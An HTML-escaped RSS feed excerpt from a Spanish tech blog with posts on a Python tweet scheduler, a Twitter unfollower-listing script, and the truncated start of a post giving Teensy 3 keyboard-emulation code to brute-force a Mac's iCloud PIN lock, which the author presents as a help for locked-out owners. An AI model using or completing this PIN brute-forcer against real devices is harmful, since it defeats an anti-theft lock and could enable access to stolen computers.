&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PostUpdate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;first_line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;

&lt;span class="c"&gt;#removing status from queue&lt;/span&gt;
&lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;lista.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;lista.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;writelines&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="alimentando-el-script-programador-de-tweets"&gt;
&lt;h2&gt;Alimentando el script programador de tweets.&lt;/h2&gt;
&lt;p&gt;Como vieron en el código fuente, solo necesitamos proporcionarle el archivo lista.txt donde cada tweet dependiendo del tipo tiene limitaciones de longitud distintas. Si no posee un hyper vinculo el limite es de 117 caracteres excluyendo la URL mientras que si no tiene un hiper vinculo el limite es de 140 caracteres. El archivo
&lt;tt class="docutils literal"&gt;lista.txt&lt;/tt&gt; se vería algo así:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Just ran out of bacon, the room seems to be shrinking, please help! ... and bacon
Programador de tweets hecho en python http://orvtech.com/planificador-tweets-python.html
&lt;/pre&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="automatizando-el-envio-de-tweets"&gt;
&lt;h2&gt;Automatizando el envío de tweets.&lt;/h2&gt;
&lt;p&gt;Leí un poco y se que se puede hacer un demonio y dejar que python se encargue de esto pero para comenzar decidí hacerlo usando cron. Me decidí a tuitear dos veces por día entre semana mientras que los fines de semana solo una vez. Mi crontab se ve así:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;15 15  *  *  0,6  /usr/bin/python /scheduler/reader.py &amp;gt;&amp;gt; /scheduler/reader.log 2&amp;gt;&amp;amp;1
14  6  *  *  1-5  /usr/bin/python /scheduler/reader.py &amp;gt;&amp;gt; /scheduler/reader.log 2&amp;gt;&amp;amp;1
11 20  *  *  1-5  /usr/bin/python /scheduler/reader.py &amp;gt;&amp;gt; /scheduler/reader.log 2&amp;gt;&amp;amp;1
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Fri, 14 Jun 2013 23:35:00 -0700</pubDate><guid>tag:orvtech.com,2013-06-14:planificador-tweets-python.html</guid><category>Linux</category><category>Proyecto Fedora</category><category>python</category><category>Scripts</category><category>Twitter</category></item><item><title>Averigua quien te dejo de seguir en Twitter con la ayuda de Python</title><link>http://orvtech.com/lista-unfollowers-twitter-python.html</link><description>&lt;p&gt;Después de varios años decidí iniciarme en el mundo de Python y jugar un
poco con el API de Twitter así que decidí hacer un programa en Python
que compara tu lista de seguidores con tu lista de amigos para obtener
una lista de las personas que tu sigues pero no te siguen. Es decir,
quien te dejo de seguir en Twitter o como dicen en la red, quien te ha dado &lt;em&gt;unfollow&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Como era mi primer intento decidí usar python-twitter que por lo que leí era la mas sencilla de usar. Para instalar este paquete de Python pueden ejecutar:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;pip install python-twitter
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;El programa para listar unfollowers es este:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="c"&gt;#!/usr/bin/python&lt;/span&gt;
&lt;span class="c"&gt;#orvtech_no_me_sigue.py para API 1.0&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;twitter&lt;/span&gt;

&lt;span class="c"&gt;#Prepare the needed data for twitter&amp;#39;s oauth&lt;/span&gt;

&lt;span class="n"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;twitter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR_CONSUMER_KEY_HERE&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                  &lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR_CONSUMER_KEY_HERE&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                  &lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR_TOKEN_KEY_HERE&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                  &lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR_TOKEN_SECRET_HERE&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;#Get followers by handle&lt;/span&gt;
&lt;span class="n"&gt;followers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetFollowers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;seguidores&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;followers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;seguidores&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;screen_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;#Get friends by handle&lt;/span&gt;
&lt;span class="n"&gt;friends&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetFriends&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;siguiendo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;friends&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;siguiendo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;screen_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;#Get the list of people that you follow that but that are not in the followers list&lt;/span&gt;
&lt;span class="n"&gt;unfollowers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;siguiendo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seguidores&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;count_uncool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unfollowers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Total friends not following you: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count_uncool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;uncool&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;unfollowers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;uncool&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot; &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;https://twitter.com/&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;uncool&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como ven para poder ejecutar este programa y ver sus unfollowers deberán obtener una serie de datos de &lt;a class="reference external" href="https://dev.twitter.com/apps/new"&gt;dev.twitter.com&lt;/a&gt; para autentificar su programa contra oauth. El producto de este programa se vera algo similar a esto:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Total friends not following you: 61
planetfedora https://twitter.com/planetfedora
twitter https://twitter.com/twitter
TwitterEng https://twitter.com/TwitterEng
twittercomms https://twitter.com/twittercomms
twitterapi https://twitter.com/twitterapi
fedora https://twitter.com/fedora
make https://twitter.com/make
dickc https://twitter.com/dickc
TwitterIO https://twitter.com/TwitterIO
TwitterSF https://twitter.com/TwitterSF
safety https://twitter.com/safety
&lt;/pre&gt;
&lt;p&gt;Por ahora lo que quiero es exportarlo a una aplicacion web, si tienen
sugerencias me las pueden dejar en los comentarios, me gustaría un poco de orientación de como hacer de este programa una aplicacion web.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="update-junio-20-del-2013"&gt;
&lt;h2&gt;UPDATE: Junio 20 del 2013&lt;/h2&gt;
&lt;p&gt;Con la salida de el API 1.0 de Twitter el código que esta arriba queda
obsoleto y rápidamente alcanza el limite de peticiones de la API. El
codigo a continuación trabaja perfectamente con la API versión 1.1
siempre y cuando no tengas mas de 5000 seguidores o mas de 100 personas
que no te siguen.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="c"&gt;#!/usr/bin/python&lt;/span&gt;
&lt;span class="c"&gt;#orvtech_no_me_sigue.py para API 1.0&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;twitter&lt;/span&gt;

&lt;span class="c"&gt;#Prepare the needed data for twitter&amp;#39;s oauth&lt;/span&gt;
&lt;span class="n"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;twitter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR_CONSUMER_KEY_HERE&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                  &lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR_CONSUMER_KEY_HERE&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                  &lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR_TOKEN_KEY_HERE&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                  &lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR_TOKEN_SECRET_HERE&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;followers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetFollowerIDs&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;friends&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetFriendIDs&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;unfollowers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;friends&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;followers&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;count_uncool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unfollowers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;nombre&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UsersLookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;unfollowers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Total friends not following you: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count_uncool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;uncool&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot; https://twitter.com/&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;screen_name&lt;/span&gt;
  &lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sun, 02 Jun 2013 03:52:00 -0700</pubDate><guid>tag:orvtech.com,2013-06-02:lista-unfollowers-twitter-python.html</guid><category>Linux</category><category>python</category><category>Scripts</category><category>social</category><category>Twitter</category></item><item><title>Ataque de fuerza bruta contra el bloqueo por PIN de iCloud a una Mac</title><link>http://orvtech.com/ataque-fuerza-bruta-pin-icloud.html</link><description>&lt;p&gt;Recientemente escribí sobre como llevar a cabo un &lt;a class="reference external" href="http://orvtech.com/atacar-efi-pin-macbook-pro.html"&gt;ataque de fuerza
bruta contra el bloqueo del EFI de una Mac&lt;/a&gt; y aunque al principio no
logre lo que quería fue solo cuestión de horas para que alguien revisara
mi código y se diera cuenta del bug que lo afectaba. Hoy en día el
código funcional al 100% y ya se han desbloqueado varias Mac usando este
procedimiento.&lt;/p&gt;
&lt;p&gt;Cuando una computadora Apple es bloqueada remotamente desde un
dispositivo iOS esta recibe un PIN numérico de 4 dígitos a través del
iCloud. El bloqueo es tanto a nivel de OS como de EFI (su BIOS). El
articulo que comentaba anterior mente se enfoca en el bloqueo del EFI
mientras que este se enfocara en el del OS también conocido como PIN de
iCloud.&lt;/p&gt;
&lt;blockquote&gt;
&lt;div class="figure align-center" style="width: 724px"&gt;
&lt;img alt="A la Izquierda (Logo de Apple)  se puede ver la pantalla de iCloud y a la derecha (con el Candado) la del EFI" src="http://orvtech.info/2013/03/efi-vs-icloud-lock.jpg" style="width: 712.24px; height: 255.2px;" /&gt;
&lt;p class="caption"&gt;A la Izquierda (Logo de Apple)  se puede ver la pantalla de iCloud y a la derecha (con el Candado) la del EFI.&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;p&gt;Tras un poco de ensayo y error y con ayuda de la comunidad de
MacRumors logre modificar el Sketch de la Teensy 3 para que pudiese
atacar PIN del iCloud, aquí les dejo el código:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="cp"&gt;#include &amp;lt;usb_keyboard.h&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;// This code is licensed under Apache 2.0 License&lt;/span&gt;
&lt;span class="c1"&gt;// http://www.apache.org/licenses/LICENSE-2.0.txt&lt;/span&gt;
&lt;span class="c1"&gt;// Limitation of Liability. In no event and under no legal theory,&lt;/span&gt;
&lt;span class="c1"&gt;// whether in tort (including negligence), contract, or otherwise,&lt;/span&gt;
&lt;span class="c1"&gt;// unless required by applicable law (such as deliberate and grossly&lt;/span&gt;
&lt;span class="c1"&gt;// negligent acts) or agreed to in writing, shall any Contributor be&lt;/span&gt;
&lt;span class="c1"&gt;// liable to You for damages, including any direct, indirect, special,&lt;/span&gt;
&lt;span class="c1"&gt;// incidental, or consequential damages of any character arising as a&lt;/span&gt;
&lt;span class="c1"&gt;// result of this License or out of the use or inability to use the&lt;/span&gt;
&lt;span class="c1"&gt;// Work (including but not limited to damages for loss of goodwill,&lt;/span&gt;
&lt;span class="c1"&gt;// work stoppage, computer failure or malfunction, or any and all&lt;/span&gt;
&lt;span class="c1"&gt;// other commercial damages or losses), even if such Contributor&lt;/span&gt;
&lt;span class="c1"&gt;// has been advised of the possibility of such damages.&lt;/span&gt;
&lt;span class="c1"&gt;// This code is indented for people who are not able to contact&lt;/span&gt;
&lt;span class="c1"&gt;// apple support and I am in no way liable for any damage or&lt;/span&gt;
&lt;span class="c1"&gt;// problems this code might cause.&lt;/span&gt;

&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;ledPin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;//waits for iCould&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;firstloop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;secondloop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;thirdloop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;firstcompleted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;secondcompleted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;fakecounter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;xxxx&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;OUTPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
  &lt;span class="n"&gt;keyboard_modifier_keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;//lets wait 1minute and 1 second&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;firstloop&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;61000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;firstcompleted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;firstloop&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;firstcompleted&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;firstloop&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="c1"&gt;//lets wait 5 minutes and one second&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;secondloop&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secondcompleted&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;firstcompleted&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
